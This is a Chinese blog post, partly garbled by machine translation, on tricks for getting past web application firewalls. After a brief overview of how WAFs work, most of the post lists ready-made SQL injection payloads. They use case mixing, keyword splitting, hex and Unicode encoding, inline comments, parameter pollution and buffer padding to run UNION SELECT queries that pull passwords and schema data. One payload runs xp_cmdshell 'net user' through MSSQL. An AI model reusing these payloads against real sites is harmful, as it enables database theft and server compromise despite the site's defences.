首页 » 网站建设 » phpfpage技巧_绕过waf的鄙陋技巧

phpfpage技巧_绕过waf的鄙陋技巧

访客 2024-11-21 0

扫一扫用手机浏览

文章目录 [+]

0x01序言

WAF差异于常规 防火墙 是由于WAF能够过滤特定Web运用程序的内容,而常规防火墙则充当做事器之间的防御门。
通过检讨HTTP的流量,它可以防御Web运用安全漏洞,如阻挡来自 SQL注入、 跨站点脚本 (XSS)、 文件包含和安全配置缺点。

phpfpage技巧_绕过waf的鄙陋技巧

0x02 WAF事情事理

phpfpage技巧_绕过waf的鄙陋技巧
(图片来自网络侵删)

§ 检测非常协议:谢毫不符合HTTP标准的要求

§ 增强型的输入验证:代理和做事器端验证,而不仅仅是客户端验证

§ 白名单和黑名单

§ 基于规则和非常的保护:基于规则的更多是基于玄色的机制和更灵巧的非常

§ 状态管理:防御会话保护(Cookie保护,反入侵规避技能,相应监控和信息表露保护)。

0x03 绕过WAF

1.稠浊的CaseChange恶意输入会触发WAF保护,如果WAF利用区分大小写的黑名单,则变动大小写可能会绕过该过滤器。

http://target.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

2.更换关键字(插入将被WAF删除的分外字符)---SELECT可能变为SEL <ECT,一旦删除分外字符,它将用SELECT实行

http://target.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

3.编码page.php?id=1%252f%252a/UNION%252f%252a /SELECT

十六进制编码:

target.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4… SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

Unicode 编码:

?id=10%D6‘%20AND%201=2%23 SELECT 'Ä'='A'; #1

4.在攻击字符串中利用注释-----插入注释。
例如/ !
SELECT /可能会被WAF忽略,但通报给目标运用程序是由mysql数据库处理。

index.php?page_id=-15 %55nION//%53ElecT 1,2,3,4

'union%a0select pass from users#

index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3

?page_id=null%0A///!50000%55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4…

5.等效函数和命令----由于检测到关键字,因此无法利用某些函数或命令,但在很多情形下,我们可以利用它们的等效或类似代码。

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

substr((select 'password'),1,1) = 0x70

strcmp(left('password',1), 0x69) = 1

strcmp(left('password',1), 0x70) = 0

strcmp(left('password',1), 0x71) = -1

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

5.分外符号-----分外符号具有分外的含义和用法

+ ` symbol: select `version()`;

+ +- :select+id-1+1.from users;

+ @:select@^1.from users;

+Mysql function() as xxx

+`、~、!、@、%、()、[]、.、-、+ 、|、%00

Example:

'se’+’lec’+’t’

%S%E%L%E%C%T 1

1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)

' or --+2=- -!!!'2

id=1+(UnI)(oN)+(SeL)(EcT)

7.HTTP参数污染------供应多个parameter= value的值集来稠浊绕过WAF。
鉴于 http://example.com?id=1&?id=' 或'1'='1' - '在某些情形下(例如利用Apache / PHP),运用程序将仅解析末了一个(第二个) id =, WAF只解析第一个id=。
这彷佛是一个合理的要求,但运用程序仍旧吸收并处理恶意输入。
本日的大多数WAF都不随意马虎受到HTTP参数污染(HPP)的影响,但仍旧值得一试。

HPP(HTTP参数解析):

/?id=1;select+1,2,3+from+users+where+id=1—

/?id=1;select+1&id=2,3+from+users+where+id=1—

/?id=1//union/&id=/select/&id=/pwd/&id=/from/&id=/usersHPP也被称为重复参数污染,最大略的是:uid = 1&uid = 2&uid = 3,对付这种情形,不同的Web做事器处理如下:

HPF(HTTP参数分段):

此方法是HTTP分段注入,与CRLF类似(利用掌握字符%0a,%0d等实行换行符)

/?a=1+union/&b=/select+1,pass/&c=/from+users--

select from table where a=1 union/ and b=/select 1,pass/ limit /from users--

HPC(HTTP参数污染):RFC2396定义了以下字符:

Unreserved: a-z, A-Z, 0-9 and _ . ! ~ ' ()

Reserved : ; / ? : @ & = + $ ,

Unwise : { } | \ ^ [ ] `

不同的Web做事器处理过程在布局分外要求时有不同的逻辑:

对付魔术字符%,Asp / Asp.net将受到影响

8.缓冲区溢出---WAF始终是运用程序,随意马虎受到与其他运用程序相同的软件毛病的影响。
如果涌现缓冲区溢漏洞可能会导致WAF崩溃,纵然它不会导致代码实行也可能会导致WAF正常运行。

?id=1 and (select 1)=(Select 0xA1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

9. IntegrationIntegration意味着利用各种 bypass技能,单一技能可能无法绕过过滤机制,但利用各种技能稠浊可能性会增加很多。

target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/!uNIOn/+/!SeLECt/+1,2,3,4…

id=1/!UnIoN/+SeLeCT+1,2,concat(/!table_name/)+FrOM /information_schema/.tables /!WHERE /+/!TaBlE_ScHeMa/+like+database()– -

?id=-725+/!UNION/+/!SELECT/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/!INFORMATION_SCHEM/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--

标签:

相关文章

微信第三方登录便捷与安全的完美融合

社交平台已成为人们日常生活中不可或缺的一部分。微信作为我国最受欢迎的社交软件之一,拥有庞大的用户群体。为了方便用户在不同平台间切换...

网站建设 2025-02-18 阅读0 评论0

广东高速代码表解码高速公路管理智慧

高速公路作为国家交通动脉,连接着城市与城市,承载着巨大的物流和人流。广东作为我国经济大省,高速公路网络密布,交通流量巨大。为了更好...

网站建设 2025-02-18 阅读0 评论0